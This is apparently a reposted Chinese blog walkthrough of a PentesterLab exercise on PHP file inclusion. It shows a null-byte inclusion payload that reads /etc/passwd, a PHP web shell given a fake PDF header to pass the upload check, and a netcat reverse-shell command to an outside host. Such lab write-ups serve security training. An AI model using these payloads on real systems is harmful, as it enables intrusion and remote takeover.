PentesterLab-PHP Include And Post Exploitation

Posted zlgxzswjy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PentesterLab-PHP Include And Post Exploitation相关的知识,希望对你有一定的参考价值。

一、打开页面,看到这么个页面,按照惯例随手点一点

技术分享图片

二、Login处显然是一个后台登录页面,但前提是的有账号密码,看了下Submit这个页面,发现url中有个page参数

三、nikto跑一下这个页面。里面有这么一条信息很有意思

+ /index.php?page=../../../../../../../../../../etc/passwd: PHP include error may indicate local or remote file inclusion is possible.

看样子这个地方可能存在文件包含,把nikto这个结果拿过去请求一下

技术分享图片

发现确实有个include函数,但是里面的文件名后面自动添加了一个.php,想到可以%00截断,请求以下链接,显示除了passwd文件内容,看来没有做限制,下面就去找利用点

/index.php?page=../../../../../../../../../../etc/passwd%00

四、这里有个提交功能,写了一个简单地php 一句话木马,放到test.php直接上传,提示只能是PDF文件

试着抓包修改后缀名和Content-Type,都无法上传,看来服务端可能是判断了文件头经过多次尝试发现,只有当后缀名为.pdf且文件头也为pdf文件头时,才能上传。创建test.pdf文件,内容如下

%PDF-1.5
<?php system($_GET[‘cmd‘]);?>

成功上传,这里文件第一行用于伪造pdf文件头。

五、用上传时的用户名密码登录后台,看到上传的pdf下载链接,上传到了uploads目录,复制,回到最开始的页面,page参数改为这个链接,成功包含文件,但出现报错,缺少cmd参数

http://192.168.109.131/index.php?page=uploads/k.pdf%00

技术分享图片

六、带上cmd参数,向我们的服务器反弹一个shell回来

/index.php?page=uploads/k.pdf%00&cmd=nc%20x.x.x.x%209999%20-e%20/bin/bash

成功getshell

 

以上是关于PentesterLab-PHP Include And Post Exploitation的主要内容,如果未能解决你的问题,请参考以下文章

怎么用gcc修改include路径

怎么用gcc修改include路径

include指令和<jsp:include>标准动作

Nginx include 主子配置文件

CodeForces - 631C Report

include指令和include动作的区别